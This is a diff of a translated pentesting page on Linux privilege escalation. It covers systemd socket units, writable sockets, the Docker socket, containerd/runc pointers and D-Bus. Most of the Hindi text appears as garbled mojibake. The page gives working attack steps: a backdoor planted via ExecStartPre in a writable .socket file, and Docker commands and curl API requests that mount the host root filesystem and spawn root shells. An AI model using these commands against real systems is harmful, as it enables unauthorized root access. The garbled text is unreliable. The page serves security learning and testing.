рдПрдХ service unit spawn рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдорд╛рди datagram sockets рдФрд░ FIFOs рдХреЗ рд▓рд┐рдП рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ рд╣реА service unit рдмрд┐рдирд╛ рд╢рд░реНрдд рд╕рднреА рдЗрдирдХрдорд┐рдВрдЧ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИред **Defaults to false**. рдкреНрд░рджрд░реНрд╢рди рдХрд╛рд░рдгреЛрдВ рд╕реЗ, рдирдП daemons рдХреЛ рдХреЗрд╡рд▓ рдЗрд╕ рддрд░рд╣ рд▓рд┐рдЦрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рд╡реЗ `Accept=no` рдХреЗ рдЕрдиреБрдХреВрд▓ рд╣реЛрдВред +- `ExecStartPre`, `ExecStartPost`: рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ command lines рд▓реЗрддреЗ рд╣реИрдВ, рдЬреЛ listening **sockets**/FIFOs рдХреЛ рдХреНрд░рдорд╢рдГ **рдмрдирд╛рдиреЗ рдФрд░ bind рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ** рдпрд╛ **рдмрд╛рдж** executed рд╣реЛрддреЗ рд╣реИрдВред рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдХрд╛ рдкрд╣рд▓рд╛ token рдПрдХ absolute filename рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЙрд╕рдХреЗ рдмрд╛рдж process рдХреЗ arguments рдЖрддреЗ рд╣реИрдВред +- `ExecStopPre`, `ExecStopPost`: рдЕрддрд┐рд░рд┐рдХреНрдд **commands** рдЬреЛ listening **sockets**/FIFOs рдХреЛ рдХреНрд░рдорд╢рдГ **рдмрдВрдж рдФрд░ рд╣рдЯрд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ** рдпрд╛ **рдмрд╛рдж** executed рд╣реЛрддреЗ рд╣реИрдВред +- `Service`: incoming traffic рдкрд░ activate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **service** unit рдХрд╛ рдирд╛рдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗрд╡рд▓ Accept=no рд╡рд╛рд▓реЗ sockets рдХреЗ рд▓рд┐рдП рд╣реА рдЕрдиреБрдорддрд┐ рд╣реИред рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЙрд╕ service рдХреЛ рдЪреБрдирддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо socket рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИ (suffix рдмрджрд▓рдХрд░)ред рдЕрдзрд┐рдХрд╛рдВрд╢ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЗрд╕ option рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред ### Writable .socket files -рдЕрдЧрд░ рдЖрдкрдХреЛ рдХреЛрдИ **writable** `.socket` рдлрд╛рдЗрд▓ рдорд┐рд▓рддреА рд╣реИ рддреЛ рдЖрдк `[Socket]` рд╕реЗрдХреНрд╢рди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдХреБрдЫ рдРрд╕рд╛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: `ExecStartPre=/home/kali/sys/backdoor` рдФрд░ backdoor socket рдмрдирд╛рдпреЗ рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ execute рд╣реЛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╢рд╛рдпрдж рдорд╢реАрди рдХреЗ reboot рд╣реЛрдиреЗ рддрдХ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +рдпрджрд┐ рдЖрдк рдХреЛрдИ **writable** `.socket` рдлрд╝рд╛рдЗрд▓ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк `[Socket]` рд╕реЗрдХреНрд╢рди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдХреБрдЫ рдРрд╕рд╛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: `ExecStartPre=/home/kali/sys/backdoor` рдФрд░ рдпрд╣ backdoor socket рдмрдирд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ execute рд╣реЛрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдорд╢реАрди рдХреЗ reboot рд╣реЛрдиреЗ рддрдХ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред**\ +_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдЙрд╕ socket рдлрд╝рд╛рдЗрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рд╡рд░рдирд╛ backdoor execute рдирд╣реАрдВ рд╣реЛрдЧрд╛_ ### Writable sockets -рдпрджрд┐ рдЖрдк рдХреЛрдИ рднреА **writable socket** рдкрд╣рдЪрд╛рдирддреЗ рд╣реИрдВ (_рдЕрдм рд╣рдо Unix Sockets рдХреА рдмрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рди рдХрд┐ config `.socket` рдлрд╛рдЗрд▓реЛрдВ рдХреА_), рддреЛ рдЖрдк рдЙрд╕ socket рдХреЗ рд╕рд╛рде **communicate** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рдВрднрд╡рддрдГ рдХрд┐рд╕реА vulnerability рдХрд╛ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдк рдХреЛрдИ **writable socket** рдкрд╣рдЪрд╛рдирддреЗ рд╣реИрдВ (_рдЕрдм рд╣рдо Unix Sockets рдХреА рдмрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рди рдХрд┐ config `.socket` рдлрд╛рдЗрд▓реЛрдВ рдХреА_), рддреЛ рдЖрдк рдЙрд╕ socket рдХреЗ рд╕рд╛рде **communicate** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рдВрднрд╡рддрдГ рдХрд┐рд╕реА vulnerability рдХрд╛ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -### Unix Sockets рдХрд╛ рдЕрдиреБрдХреНрд░рдордг +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -552,28 +536,28 @@ socket-command-injection.md ### HTTP sockets -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреБрдЫ **sockets listening for HTTP** requests рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (_рдореИрдВ .socket files рдХреА рдмрд╛рдд рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реВрдБ рдмрд▓реНрдХрд┐ рдЙрди рдлрд╛рдЗрд▓реЛрдВ рдХреА рдЬреЛ unix sockets рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд░рд╣реА рд╣реИрдВ_). рдЖрдк рдЗрд╕реЗ рдирд┐рдореНрди рд╕реЗ рдЬрд╛рдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреБрдЫ **sockets listening for HTTP** requests рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (_рдореИрдВ .socket рдлрд╛рдЗрд▓реЛрдВ рдХреА рдмрд╛рдд рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реВрдБ рдмрд▓реНрдХрд┐ рдЙрди рдлрд╛рдЗрд▓реЛрдВ рдХреА рдЬреЛ unix sockets рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рдо рдХрд░ рд░рд╣реА рд╣реИрдВ_)ред рдЖрдк рдЗрд╕реЗ рдирд┐рдореНрди рд╕реЗ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -рдпрджрд┐ socket **responds with an HTTP** request, рддреЛ рдЖрдк рдЗрд╕рдХреЗ рд╕рд╛рде **communicate** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢рд╛рдпрдж рдХрд┐рд╕реА **exploit some vulnerability**. +рдпрджрд┐ socket **responds with an HTTP** request, рддреЛ рдЖрдк рдЗрд╕рдХреЗ рд╕рд╛рде **communicate** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢рд╛рдпрдж рдХрд┐рд╕реА **exploit some vulnerability**ред ### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп Docker Socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдЗрд╕реЗ `root` user рдФрд░ `docker` group рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ. рдЗрд╕ socket рдкрд░ write access рд╣реЛрдиреЗ рд╕реЗ privilege escalation рд╣реЛ рд╕рдХрддрд╛ рд╣реИ. рдпрд╣рд╛рдБ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ Docker CLI рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ рддреЛ рд╡реИрдХрд▓реНрдкрд┐рдХ рддрд░реАрдХреЗ рдХреНрдпрд╛ рд╣реИрдВред +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. #### **Privilege Escalation with Docker CLI** -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ Docker socket рдкрд░ write access рд╣реИ, рддреЛ рдЖрдк рдирд┐рдореНрди commands рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ privilege escalation рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +If you have write access to the Docker socket, you can escalate privileges using the following commands: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -рдпреЗ рдХрдорд╛рдВрдбреНрд╕ рдЖрдкрдХреЛ host рдХреА рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ root-рд╕реНрддрд░реАрдп рдкрд╣реБрдБрдЪ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдВрдЯреЗрдирд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВред +рдпреЗ рдХрдорд╛рдВрдбреНрд╕ рдЖрдкрдХреЛ host рдХреА рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ root-рд╕реНрддрд░реАрдп рдкрд╣реБрдБрдЪ рдХреЗ рд╕рд╛рде рдПрдХ container рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВред #### **Docker API рдХрд╛ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ** -рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ Docker CLI рдЙрдкрд▓рдмреНрдз рди рд╣реЛ, Docker socket рдХреЛ рдлрд┐рд░ рднреА Docker API рдФрд░ `curl` рдХрдорд╛рдВрдбреНрд╕ рдХреЗ рдЬрд░рд┐рдП рдореИрдирд┐рдкреБрд▓реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ Docker CLI рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ, Docker socket рдХреЛ рдлрд┐рд░ рднреА Docker API рдФрд░ `curl` рдХрдорд╛рдВрдбреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред 1. **List Docker Images:** рдЙрдкрд▓рдмреНрдз images рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред @@ -581,7 +565,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** host рд╕рд┐рд╕реНрдЯрдо рдХреА root рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ mount рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ container рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП request рднреЗрдЬреЗрдВред +2. **Create a Container:** host рд╕рд┐рд╕реНрдЯрдо рдХреА root directory рдХреЛ mount рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ container рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП request рднреЗрдЬреЗрдВред ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -593,7 +577,7 @@ Start the newly created container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ container рд╕реЗ рдХрдиреЗрдХреНрд╢рди рдмрдирд╛рдпреЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕рдХреЗ рдЕрдВрджрд░ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдИ рдЬрд╛ рд╕рдХреЗрдВред +3. **Attach to the Container:** `socat` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ container рд╕реЗ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕рдХреЗ рдЕрдВрджрд░ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВред ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -603,13 +587,13 @@ Connection: Upgrade Upgrade: tcp ``` -` s o c a t ` рдХрдиреЗрдХреНрд╢рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк host рдХреЗ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ root-рд╕реНрддрд░реАрдп рдкрд╣реБрдБрдЪ рдХреЗ рд╕рд╛рде container рдХреЗ рдЕрдВрджрд░ рд╕реАрдзреЗ рдХрдорд╛рдВрдбреНрд╕ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред +`╤Бocat` рдХрдиреЗрдХреНрд╢рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк container рдореЗрдВ рд╕реАрдзреЗ commands рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ host рдХреА filesystem рдкрд░ root-рд╕реНрддрд░реАрдп рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИред -### рдЕрдиреНрдп +### Others -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ docker socket рдкрд░ write permissions рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк **group `docker` рдХреЗ рдЕрдВрджрд░** рд╣реИрдВ рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) рд╣реИрдВред рдпрджрд┐ [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)уАВ +Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -рджреЗрдЦреЗрдВ **more ways to break out from docker or abuse it to escalate privileges** in: +рджреЗрдЦреЗрдВ **docker рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдпрд╛ рдЗрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рдФрд░ рддрд░реАрдХреЗ** in: {{#ref}} @@ -618,7 +602,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -рдпрджрд┐ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдЖрдк **`ctr`** рдХрдорд╛рдВрдб рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдирд┐рдореНрди рдкрдиреНрдирд╛ рдкрдврд╝реЗрдВ рдХреНрдпреЛрдВрдХрд┐ **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -627,7 +611,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -рдпрджрд┐ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдЖрдк **`runc`** рдХрдорд╛рдВрдб рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдирд┐рдореНрди рдкрдиреНрдирд╛ рдкрдврд╝реЗрдВ рдХреНрдпреЛрдВрдХрд┐ **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -636,15 +620,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus рдПрдХ рдкрд░рд┐рд╖реНрдХреГрдд **inter-Process Communication (IPC) system** рд╣реИ рдЬреЛ applications рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ interact рдФрд░ рдбреЗрдЯрд╛ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИред рдЖрдзреБрдирд┐рдХ Linux рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдХрд░ рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ, рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА application communication рдХреЗ рд▓рд┐рдП рдПрдХ рдордЬрдмреВрдд рдлреНрд░реЗрдорд╡рд░реНрдХ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред +D-Bus рдПрдХ рдкрд░рд┐рд╖реНрдХреГрдд inter-Process Communication (IPC) рд╕рд┐рд╕реНрдЯрдо рд╣реИ рдЬреЛ applications рдХреЛ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ interact рдФрд░ рдбреЗрдЯрд╛ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред рдЖрдзреБрдирд┐рдХ Linux рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдХрд░ рдбрд┐рдЬрд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛, рдпрд╣ applications рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдордЬрдмреВрдд рдврд╛рдВрдЪрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдмрд╣реБрдореБрдЦреА рд╣реИ, рдореВрд▓ IPC рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдПрдХреНрд╕рдЪреЗрдВрдЬ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ **enhanced UNIX domain sockets** рдХреА рдпрд╛рдж рджрд┐рд▓рд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдЗрд╡реЗрдВрдЯреНрд╕ рдпрд╛ рд╕рд┐рдЧреНрдирд▓реНрд╕ рдХреЗ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХрдореНрдкреЛрдиреЗрдВрдЯреНрд╕ рдХреЗ рдмреАрдЪ рд╕рд╣рдЬ рдПрдХреАрдХрд░рдг рдмрдирддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рддреМрд░ рдкрд░, рдПрдХ Bluetooth daemon рд╕реЗ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХреЙрд▓ рдХрд╛ рд╕рд┐рдЧреНрдирд▓ рдХрд┐рд╕реА music player рдХреЛ рдореНрдпреВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрднрд╡ рдмреЗрд╣рддрд░ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, D-Bus рдПрдХ remote object system рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ applications рдХреЗ рдмреАрдЪ service requests рдФрд░ method invocations рд╕рд░рд▓ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд░реВрдк рд╕реЗ рдЬрдЯрд┐рд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕реБрдЧрдо рдмрдирддреА рд╣реИрдВред +рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдмрд╣реБрдореБрдЦреА рд╣реИ тАФ рдпрд╣ рдмреЗрд╕рд┐рдХ IPC рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдЬреЛ processes рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреЛ рдмреЗрд╣рддрд░ рдмрдирд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ enhanced UNIX domain sockets рдХреА рдпрд╛рдж рджрд┐рд▓рд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдЗрд╡реЗрдВрдЯ рдпрд╛ рд╕рд┐рдЧреНрдирд▓ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдШрдЯрдХреЛрдВ рдХреЗ рдмреАрдЪ рдирд┐рд░реНрдмрд╛рдз рдЗрдВрдЯрд┐рдЧреНрд░реЗрд╢рди рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, incoming call рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ Bluetooth daemon рдХрд╛ рдПрдХ рд╕рд┐рдЧреНрдирд▓ рдореНрдпреВрдЬрд╝рд┐рдХ рдкреНрд▓реЗрдпрд░ рдХреЛ рдореНрдпреВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ user experience рдмреЗрд╣рддрд░ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, D-Bus рдПрдХ remote object system рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ applications рдХреЗ рдмреАрдЪ service requests рдФрд░ method invocations рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд░реВрдк рд╕реЗ рдЬрдЯрд┐рд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕реБрд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИред -D-Bus рдПрдХ **allow/deny model** рдкрд░ рдЪрд▓рддрд╛ рд╣реИ, рдЬреЛ message permissions (method calls, signal emissions, рдЖрджрд┐) рдХреЛ match рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ policy rules рдХреЗ рд╕рдореЗрдХрд┐рдд рдкреНрд░рднрд╛рд╡ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпреЗ рдиреАрддрд┐рдпрд╛рдБ bus рдХреЗ рд╕рд╛рде рд╣реЛрдиреЗ рд╡рд╛рд▓реА interactions рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреА рд╣реИрдВ, рдЬреЛ рдЗрди permissions рдХреЗ рд╢реЛрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ privilege escalation рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИрдВред +D-Bus allow/deny рдореЙрдбрд▓ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЬреЛ matching policy rules рдХреЗ рд╕рдВрдЪрдпреА рдкреНрд░рднрд╛рд╡ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ message permissions (method calls, signal emissions, рдЖрджрд┐) рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпреЗ рдиреАрддрд┐рдпрд╛рдБ bus рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреА рд╣реИрдВ, рдФрд░ рдЗрди permissions рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ privilege escalation рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рдРрд╕реА рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг `/etc/dbus-1/system.d/wpa_supplicant.conf` рдореЗрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ root user рдХреЛ `fi.w1.wpa_supplicant1` рдХрд╛ рдорд╛рд▓рд┐рдХ рд╣реЛрдиреЗ, рдЙрд╕реЗ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдФрд░ рдЙрд╕рд╕реЗ рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА permissions рдХрд╛ рд╡рд┐рд╡рд░рдг рд╣реИред 